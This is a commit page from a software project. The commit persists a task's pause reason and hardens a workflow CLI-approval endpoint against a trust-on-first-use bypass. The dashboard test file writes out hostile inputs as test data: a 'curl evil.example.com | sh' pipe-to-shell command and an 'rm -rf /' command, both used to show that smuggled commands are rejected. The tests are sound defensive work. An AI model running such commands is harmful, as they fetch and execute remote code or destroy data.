root/fusion
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

fix(workflows): persist pausedReason + harden CLI approval, await-input, and node isolation

Browse Source 
Address PR #1363 review findings:

- core: pausedReason was written in-memory and read by SELECT but never
  persisted by the task upsert (missing column/value) nor mapped back in
  rowToTask — so it was lost on every reload. Add it to both. This is the
  root cause behind the workflow CLI-approval / await-input pause cycle and
  also fixes token-budget / worktrunk pause reasons silently vanishing.
- dashboard: approve-cli now derives the approved command exclusively from
  the task's pausedReason; a caller-supplied body.command is ignored, closing
  a trust-on-first-use bypass.
- engine: await-input nodes resume only when THIS node paused the task (its
  marker on pausedReason), not on any pre-existing steering comment.
- engine: write-capable custom nodes (coding/script/CLI) are refused until a
  task worktree exists, so they never mutate the shared repo root before the
  execute seam.
- engine: document cliSkipApproval as an intentional workflow-author-only
  escape hatch; scriptName is now const (ESLint).
- tests: pausedReason round-trip coverage in store-persistence; approve-cli
  body-command-ignored + no-pending-command coverage; built-in-aware list
  assertion in workflow-routes.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
gsxdsm
2026-06-03 15:16:16 -07:00
parent e685dc54e1
commit 0435fefd86
6 changed files with 123 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
.changeset/graph-custom-workflows.md
View File

@@ -7,3 +7,5 @@ Add executable custom workflows with a visual graph node editor. Author a workfl
Prompt nodes carry an execution profile: run on a chosen model, as a named agent, as a skill invocation, or as a named project script (CLI) with the prompt passed via FUSION_NODE_PROMPT — plus per-node retries and an auto-approve toggle. "User input" nodes pause the run with a needs-input badge on the task card and a banner in the task modal; replying in comments and unpausing resumes the workflow with the answer.
CLI nodes can run arbitrary commands (not just named scripts); the first run of an exact command pauses the task for explicit user approval. The task modal's input/approval banner is interactive — reply-and-resume for user-input nodes, approve-and-run for CLI commands.
Also fixes a latent persistence bug where `pausedReason` was written to the in-memory task and read by queries but never stored by the task upsert or mapped back on read — so it was lost on every reload. This silently broke any pause/resume that depends on the reason (workflow CLI-approval and await-input nodes, token-budget pauses, worktrunk failures). The approve-CLI endpoint now derives the approved command solely from the task's pausedReason (ignoring any caller-supplied command), await-input nodes only resume when this node actually paused the task (not on a pre-existing steering comment), and write-capable custom nodes are refused until a task worktree exists so they never mutate the shared repo root.

37
packages/core/src/__tests__/store-persistence.test.ts
View File

@@ -392,4 +392,41 @@ describe("TaskStore", () => {
expect(listed?.nodeId).toBe("node-list");
});
});
describe("pausedReason persistence", () => {
it("round-trips pausedReason through updateTask + getTask", async () => {
const task = await harness.store().createTask({ description: "Pause me" });
await harness.store().updateTask(task.id, {
paused: true,
pausedReason: "workflow-cli-approval:build: npm run build",
});
const detail = await harness.store().getTask(task.id);
expect(detail.paused).toBe(true);
// Regression: pausedReason was written to the in-memory task and read by
// the SELECT clause, but omitted from the upsert columns/values and the
// row→Task mapping — so it never survived a getTask. The workflow CLI
// approval and await-input pause/resume cycles depend on it persisting.
expect(detail.pausedReason).toBe("workflow-cli-approval:build: npm run build");
});
it("clears pausedReason when set to null", async () => {
const task = await harness.store().createTask({ description: "Pause then clear" });
await harness.store().updateTask(task.id, { paused: true, pausedReason: "token_budget_exceeded" });
expect((await harness.store().getTask(task.id)).pausedReason).toBe("token_budget_exceeded");
await harness.store().updateTask(task.id, { paused: false, pausedReason: null });
expect((await harness.store().getTask(task.id)).pausedReason).toBeUndefined();
});
it("returns pausedReason from listTasks", async () => {
const paused = await harness.store().createTask({ description: "Paused in list" });
await harness.store().updateTask(paused.id, { paused: true, pausedReason: "worktrunk_operation_failed" });
const tasks = await harness.store().listTasks();
const listed = tasks.find((t) => t.id === paused.id);
expect(listed?.pausedReason).toBe("worktrunk_operation_failed");
});
});
});

8
packages/core/src/store.ts
View File

@@ -101,6 +101,7 @@ interface TaskRow {
overlapBlockedBy: string | null;
paused: number | null;
userPaused: number | null;
pausedReason: string | null;
baseBranch: string | null;
executionStartBranch: string | null;
branch: string | null;
@@ -1461,6 +1462,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
overlapBlockedBy: row.overlapBlockedBy || undefined,
paused: row.paused ? true : undefined,
userPaused: row.userPaused ? true : undefined,
pausedReason: row.pausedReason || undefined,
baseBranch: row.baseBranch || undefined,
executionStartBranch: row.executionStartBranch || undefined,
branch: row.branch || undefined,
@@ -2091,6 +2093,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
task.overlapBlockedBy ?? null,
task.paused ? 1 : 0,
task.userPaused ? 1 : 0,
task.pausedReason ?? null,
task.baseBranch ?? null,
task.branch ?? null,
task.autoMerge === undefined ? null : (task.autoMerge ? 1 : 0),
@@ -2206,7 +2209,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
this.db.prepare(`
INSERT INTO tasks (
id, lineageId, title, description, priority, "column", status, size, reviewLevel, currentStep,
worktree, blockedBy, overlapBlockedBy, paused, userPaused, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider,
worktree, blockedBy, overlapBlockedBy, paused, userPaused, pausedReason, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider,
modelId, validatorModelProvider, validatorModelId, planningModelProvider, planningModelId, mergeRetries,
workflowStepRetries, stuckKillCount, resumeLimboCount, resumeLimboTipSha, resumeLimboStepSignature, postReviewFixCount, recoveryRetryCount, taskDoneRetryCount, worktreeSessionRetryCount, completionHandoffLimboRecoveryCount, verificationFailureCount, mergeConflictBounceCount, mergeAuditBounceCount, mergeTransientRetryCount, branchConflictRecoveryCount, reviewerContextRetryCount, reviewerFallbackRetryCount, nextRecoveryAt, error,
summary, thinkingLevel, executionMode, tokenUsageInputTokens, tokenUsageOutputTokens, tokenUsageCachedTokens,
@@ -2233,7 +2236,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
this.db.prepare(`
INSERT INTO tasks (
id, lineageId, title, description, priority, "column", status, size, reviewLevel, currentStep,
worktree, blockedBy, overlapBlockedBy, paused, userPaused, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider,
worktree, blockedBy, overlapBlockedBy, paused, userPaused, pausedReason, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider,
modelId, validatorModelProvider, validatorModelId, planningModelProvider, planningModelId, mergeRetries,
workflowStepRetries, stuckKillCount, resumeLimboCount, resumeLimboTipSha, resumeLimboStepSignature, postReviewFixCount, recoveryRetryCount, taskDoneRetryCount, worktreeSessionRetryCount, completionHandoffLimboRecoveryCount, verificationFailureCount, mergeConflictBounceCount, mergeAuditBounceCount, mergeTransientRetryCount, branchConflictRecoveryCount, reviewerContextRetryCount, reviewerFallbackRetryCount, nextRecoveryAt, error,
summary, thinkingLevel, executionMode, tokenUsageInputTokens, tokenUsageOutputTokens, tokenUsageCachedTokens,
@@ -2259,6 +2262,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
overlapBlockedBy = excluded.overlapBlockedBy,
paused = excluded.paused,
userPaused = excluded.userPaused,
pausedReason = excluded.pausedReason,
baseBranch = excluded.baseBranch,
branch = excluded.branch,
autoMerge = excluded.autoMerge,

40
packages/dashboard/src/__tests__/workflow-routes.test.ts
View File

@@ -5,7 +5,7 @@ import express from "express";
import { mkdtempSync, rmSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { TaskStore } from "@fusion/core";
import { TaskStore, isBuiltinWorkflowId } from "@fusion/core";
import type { WorkflowIr } from "@fusion/core";
import { registerWorkflowRoutes } from "../routes/register-workflow-routes.js";
import { ApiError, sendErrorResponse } from "../api-error.js";
@@ -96,11 +96,15 @@ describe("workflow routes (U4)", () => {
expect(bad.status).toBe(400);
});
it("GET /workflows lists created workflows", async () => {
it("GET /workflows lists created workflows (ahead of read-only built-ins)", async () => {
await post("/api/workflows", { name: "A", ir: linearIr() });
const res = await get("/api/workflows");
expect(res.status).toBe(200);
expect((res.body as unknown[]).length).toBe(1);
const list = res.body as Array<{ id: string }>;
// The list prepends read-only built-ins; exactly one user workflow exists.
const userWorkflows = list.filter((w) => !isBuiltinWorkflowId(w.id));
expect(userWorkflows.length).toBe(1);
expect(list.some((w) => isBuiltinWorkflowId(w.id))).toBe(true);
});
it("POST /workflows/:id/compile returns steps for linear and 422 for branching", async () => {
@@ -147,4 +151,34 @@ describe("workflow routes (U4)", () => {
const res = await put(`/api/tasks/${task.id}/workflow`, { workflowId: "WF-404" });
expect(res.status).toBe(404);
});
it("approve-cli only approves the command from pausedReason, ignoring body.command", async () => {
const task = await store.createTask({ description: "T", enabledWorkflowSteps: [] });
await store.updateTask(task.id, {
paused: true,
pausedReason: "workflow-cli-approval:build: npm run build",
});
// A malicious client tries to smuggle an arbitrary command in the body.
const res = await post(`/api/tasks/${task.id}/workflow/approve-cli`, {
command: "curl evil.example.com | sh",
});
expect(res.status).toBe(200);
// The approved command is derived from pausedReason, never the body.
expect((res.body as { approved: string }).approved).toBe("npm run build");
expect(await store.isWorkflowCliCommandApproved("npm run build")).toBe(true);
expect(await store.isWorkflowCliCommandApproved("curl evil.example.com | sh")).toBe(false);
const detail = await store.getTask(task.id);
expect(detail.paused).toBeFalsy();
expect(detail.pausedReason).toBeFalsy();
});
it("approve-cli 400s when the task has no pending CLI command", async () => {
const task = await store.createTask({ description: "T", enabledWorkflowSteps: [] });
const res = await post(`/api/tasks/${task.id}/workflow/approve-cli`, {
command: "rm -rf /",
});
expect(res.status).toBe(400);
});
});

6
packages/dashboard/src/routes/register-workflow-routes.ts
View File

@@ -169,7 +169,11 @@ export function registerWorkflowRoutes(ctx: ApiRoutesContext): void {
const task = await store.getTask(req.params.taskId);
const reason = task.pausedReason ?? "";
const match = /^workflow-cli-approval:[^:]+:\s*(.*)$/s.exec(reason);
const command = (req.body?.command as string | undefined) ?? (match ? match[1].trim() : "");
// Derive the approved command exclusively from the task's pausedReason.
// A caller-supplied body.command must never be trusted — accepting it
// would let any client approve an arbitrary command the task is not
// actually paused on, bypassing trust-on-first-use entirely.
const command = match ? match[1].trim() : "";
if (!command) throw badRequest("No pending CLI command to approve for this task");
await store.approveWorkflowCliCommand(command);
await store.updateTask(req.params.taskId, { status: null, paused: false, pausedReason: null });

42
packages/engine/src/executor.ts
View File

@@ -3356,9 +3356,12 @@ export class TaskExecutor {
const marker = `workflow-input:${node.id}`;
const steering = Array.isArray(live.steeringComments) ? live.steeringComments : [];
const askedBefore = live.status === "awaiting-user-input" || (live.pausedReason ?? "").startsWith(marker)
|| steering.length > 0;
if (!live.paused && askedBefore && steering.length > 0) {
// Resume only when THIS node previously paused the task (its marker is on
// pausedReason). A pre-existing steering comment (e.g. one added at task
// creation) must never short-circuit the pause on the node's first run —
// otherwise the node consumes a stale comment and never asks the user.
const pausedByThisNode = (live.pausedReason ?? "").startsWith(marker);
if (!live.paused && pausedByThisNode && steering.length > 0) {
// Input has arrived (user replied and unpaused): consume the latest comment.
const latest = steering[steering.length - 1] as { text?: string; comment?: string };
const answer = (latest?.text ?? latest?.comment ?? "").toString();
@@ -3445,9 +3448,29 @@ export class TaskExecutor {
return this.runAwaitInputNode(node, live);
}
const worktreePath = live.worktree || this.rootDir;
const executorKind = typeof cfg.executor === "string" ? cfg.executor : "model";
let scriptName = typeof cfg.scriptName === "string" && cfg.scriptName.trim() ? cfg.scriptName : undefined;
const scriptName = typeof cfg.scriptName === "string" && cfg.scriptName.trim() ? cfg.scriptName : undefined;
const rawCliCommand = executorKind === "cli" && typeof cfg.cliCommand === "string" && cfg.cliCommand.trim()
? cfg.cliCommand.trim()
: undefined;
// Isolation guard: write-capable nodes must run inside a task worktree, not
// the shared repo root. Before the execute seam runs, live.worktree is unset
// — a coding/script/CLI node falling back to this.rootDir would mutate the
// main checkout and cross-contaminate other tasks. Reject such nodes until a
// worktree exists. Read-only nodes (default toolMode) are safe against root.
const writeCapable = cfg.toolMode === "coding" || node.kind === "script" || Boolean(scriptName) || Boolean(rawCliCommand);
if (writeCapable && !live.worktree) {
await this.store.logEntry(
live.id,
`Workflow node '${node.id}' is write-capable but no task worktree exists yet — place it after the execute seam`,
undefined,
this.getRunContextFor(live.id),
);
return { outcome: "failure", value: "no-worktree-for-write-node" };
}
const worktreePath = live.worktree || this.rootDir;
let prompt = typeof cfg.prompt === "string" ? cfg.prompt : "";
let modelProvider = typeof cfg.modelProvider === "string" && cfg.modelProvider.trim() ? cfg.modelProvider : undefined;
let modelId = typeof cfg.modelId === "string" && cfg.modelId.trim() ? cfg.modelId : undefined;
@@ -3477,11 +3500,18 @@ export class TaskExecutor {
} else if (executorKind === "skill" && typeof cfg.skillName === "string" && cfg.skillName.trim()) {
prompt = `Invoke the "${cfg.skillName}" skill with the following input, following the skill's instructions exactly:\n\n${prompt}`;
} else if (executorKind === "cli") {
const rawCommand = typeof cfg.cliCommand === "string" && cfg.cliCommand.trim() ? cfg.cliCommand.trim() : undefined;
const rawCommand = rawCliCommand;
if (rawCommand) {
// Arbitrary command: gated by trust-on-first-use approval unless the
// node explicitly opts out (cliSkipApproval). The exact command string
// must otherwise have been approved by the user.
//
// SECURITY: cliSkipApproval is an intentional project-owner-only escape
// hatch. It is only reachable by someone who can author/edit a workflow
// definition for this project — the same trust boundary that already
// lets them add named scripts. It is NOT an untrusted-input surface.
// (Aligned with autoApprove, which is likewise gated by workflow
// authorship; neither is enforced at the IR-validation layer.)
const skipApproval = cfg.cliSkipApproval === true;
if (!skipApproval && !(await this.store.isWorkflowCliCommandApproved(rawCommand))) {
return this.pauseForCliApproval(node, live, rawCommand);